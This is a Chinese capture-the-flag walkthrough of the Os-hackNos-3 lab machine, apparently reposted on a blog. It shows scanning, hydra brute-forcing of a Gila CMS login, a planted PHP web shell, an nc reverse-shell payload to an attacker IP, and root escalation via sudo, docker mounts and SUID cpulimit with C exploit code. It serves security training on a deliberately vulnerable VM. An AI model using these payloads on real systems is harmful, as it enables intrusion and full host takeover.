Os-hackNos-3
Os-hackNos-3
1 信息收集

1.1 端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -sV -T4 -F 192.168.0.3
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-05 16:18 CST
Nmap scan report for 192.168.0.3
Host is up (0.51s latency).
Not shown: 98 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1.2 后台目录扫描
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[16:36:37] Starting:
[16:23:28] 200 - 195B - /index.html
[16:36:38] 200 - 2KB - /scripts
[16:36:52] 200 - 5KB - /devil
[16:36:59] 200 - 5KB - /websec
Task Completed
# 尝试暴破/websec的子目录
┌──(kali㉿kali)-[~]
└─$ dirsearch -x403,401,301,302 -u http://192.168.0.3/websec
[17:23:20] 200 - 2KB - /websec/admin
1.2.1 目录分析
http://192.168.0.3/scripts/
http://192.168.0.3/devil/
http://192.168.0.3/websec/收集到网站的邮箱:
contact@hacknos.com

http://192.168.0.3/websec/admin
使用cewl收集网站信息生成目标网站字典
┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ cewl http://192.168.0.3/websec/ > cewl.txt
2 爆破后台登录页面
根据收集的网站信息,邮箱contact@hacknos.com,网站字典:cewl.txt进行爆破
2.1 BP爆破
发现该后台登录页面对登录请求的IP进行了限制

去掉Cookie头部字段后可以正常爆破:
# 得到用户名:
contact@hacknos.com
# 密码
Securityx


2.2 hydra爆破
┌──(kali㉿kali)-[~/OneForAll-0.4.3]
└─$ hydra -l contact@hacknos.com -P cewl.txt 192.168.0.3 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Log In"
# -l 用户名
# -P 密码字典
# https-post-form、http-get-form、https-get-form
# :Log In表示登陆错误后回包中存在的特征字符;
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-03-05 22:00:15
[DATA] max 16 tasks per 1 server, overall 16 tasks, 54 login tries (l:1/p:54), ~4 tries per task
[DATA] attacking http-post-form://192.168.0.3:80/websec/admin:username=^USER^&password=^PASS^:Log In
[80][http-post-form] host: 192.168.0.3 login: contact@hacknos.com password: Securityx
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-03-05 22:00:18

3 利用Gila后台GetShell
在Gila CMS 文件管理页面,添加后门文件:
http://192.168.0.3/websec/admin/fm<?php system($_POST['acmd']);?>

修改
http://192.168.0.3/websec/admin/fm?f=./.htaccess文件,添加内容如下,并保存RewriteCond %{REQUEST_URI} !shell.php

得到webshell

构造Post请求利用nc反弹shell
POST /websec/shell.php HTTP/1.1
Host: 192.168.0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=0dijj1gi0vejr0vsvhrtome2md; GSESSIONID=1hum7oobrai608grd992fkjm8u632f2xuzbhge31p8b1ikcjd6
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 117 acmd=rm+/tmp/getshell%3bmkfifo+/tmp/getshell%3bcat+/tmp/getshell|/bin/sh+-i+2>%261|nc+192.168.0.2+2333+>/tmp/getshell


利用python切换shell
python -c 'import pty;pty.spawn("/bin/bash")'
3 提权
3.1 收集当前系统信息
查看
/etc/passwd文件得到当前系统存在用户:blackdevil在
blackdevil家目录中找到user.txt的flag文件
查找具有SUID权限的命令:cpulimit
www-data@hacknos:/home/blackdevil$ find / -perm -u=s 2>/dev/null
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/cpulimit
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/at
/usr/bin/pkexec
/usr/bin/chsh
查找用户所创建的敏感文件:没有东东
www-data@hacknos:/home/blackdevil$ find / -user 1000 2>/dev/null
3.2 切换到用户提权
3.2.1 查找blackdevil用户密码
查看当前
www-data用户的sudo权限:sudo -l,没有东东
查找可疑文件(这个真的好难找,我没搞出来):
/var/local/database# 根据提示spreadsheet的编码方式
Expenses
Software Licenses,$2.78
Maintenance,$68.87
Mortgage Interest,$70.35
Advertising,$9.78
Phone,$406.80
Insurance,$9.04
Opss;fackespreadsheet

解码得到密码:
Security@x@解码网站:Spreadsheet mimic - decode (spammimic.com)


切换为blackdevil用户,并查看该用户所属组
blackdevil属于docker,sudo组

查看blackdevil用户拥有sudo命令权限:拥有所有命令的执行权限

3.2.2 sudo 提权
blackdevil@hacknos:~$ sudo su -

3.2.3 docker提权
当前系统docker镜像文件

下载docker镜像文件,启动容器并挂载宿主机的根目录
# alpine镜像非常小非常适合用于提权
blackdevil@hacknos:~$ docker run -it -v /:/mnt alpine /bin/sh # 由于已经将宿主机根目录挂载到了容器的/mnt/目录下,因此在容器内,/mnt/目录是一个完整的根目录,可以使用chroot获取到这个根目录的完整root权限
chroot /mnt

3.3 cpulimit 提权
3.3.1 直接提权
cpulimit -l 100 -f -- /bin/sh -p

3.3.2 利用cpulimit执行提权脚本进行提权
提权脚本
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}
gcc编译提权脚本
┌──(kali㉿kali)-[~]
└─$ gcc exp.c -o exp
上传exp文件到目标主机:BASE64编码方式
查看编译后的exp文件Base64编码:
base64 exp
在目标主机上vim创建exp.b64文件,并写入exp文件Base64编码:
www-data@hacknos:/var/www/html/websec$ vim exp.b64
解码/exp.b64文件:
www-data@hacknos:/var/www/html/websec$ base64 -d exp.b64 > exp
编写设置权限脚本,赋予exp文件sid权限
chmod +x exp
提权
cpulimit -l 100 -f ./exp

Os-hackNos-3的更多相关文章
- NodeJs之OS
OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...
- Node.js:OS模块
os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...
- Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验
Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...
- Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)
Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...
- Mac OS、Ubuntu 安装及使用 Consul
Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...
- java 利用ManagementFactory获取jvm,os的一些信息--转
原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...
- 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。
写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...
- Mac OS X 上编写 ASP.NET vNext (二) IDE配置
上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...
- 在Mac OS X上安装ASP.NET 5(译文)
ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...
- Python标准模块--os
1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...
随机推荐
- Python3.7.3安装TensorFlow和OpenCV3
根据python的版本进行下载相应的文件 一.安装TensorFlow 进入网址https://pypi.org/project/tensorflow/#files下载TensorFlow文件 进入下 ...
- 现代 CSS 高阶技巧,完美的波浪进度条效果!
本文是 CSS Houdini 之 CSS Painting API 系列第三篇. 现代 CSS 之高阶图片渐隐消失术 现代 CSS 高阶技巧,像 Canvas 一样自由绘图构建样式! 在上两篇中,我 ...
- python 之定时任务(schedule)
import schedule import time def job(): print("定时通报...") # 定义一个叫job的函数,函数的功能是打印'定时通报...' sc ...
- cs231n__5.1/5.2 CNN
CS231n note 5.1 CNN_history now: 略 5.2 CNN 上节课我们谈到了全连接层的概念: 对于全连接层而言,我们要做的就是在这些向量上进行操作. 例如: 但是至于卷积层, ...
- flutter系列之:flutter中listview的高级用法
目录 简介 ListView的常规用法 创建不同类型的items 总结 简介 一般情况下,我们使用Listview的方式是构建要展示的item,然后将这些item传入ListView的构造函数即可,通 ...
- .Net 7 内存模型函数描述结构MethoDesc
楔子 讲一些CLR里面的内存模型.本篇MethodDesc,意为函数的描述之意,看下一个函数在CLR里面是如何被描述的. MethodDesc结构 这个结构体在CLR里面高达1600多行,这里仅截取一 ...
- dp 优化
dp 优化 \(\text{By DaiRuiChen007}\) I. [ARC085D] - NRE \(\text{Link}\) 思路分析 将最终的第 \(i\) 对 \(a_i\) 和 \( ...
- 前端Linux部署命令与流程记录
以前写过一篇在Linux上从零开始部署前后端分离的Vue+Spring boot项目,但那时候是部署自己的个人项目,磕磕绊绊地把问题解决了,后来在公司有了几次应用到实际生产环境的经验,发现还有很多可以 ...
- SpringMVC学习笔记 - 第一章 - 工作流程、Bean加载控制、请求与响应(参数接收与内容返回)、RESTful
[前置内容]Spring 学习笔记全系列传送门: Spring学习笔记 - 第一章 - IoC(控制反转).IoC容器.Bean的实例化与生命周期.DI(依赖注入) Spring学习笔记 - 第二章 ...
- 【数据结构和算法】Trie树简介及应用详解
作者:京东物流 马瑞 1 什么是Trie树 1.1 Trie树的概念 Trie树,即字典树,又称单词查找树或键树,是一种树形结构,典型应用是用于统计,排序和保存大量的字符串(但不仅限于字符串),所以经 ...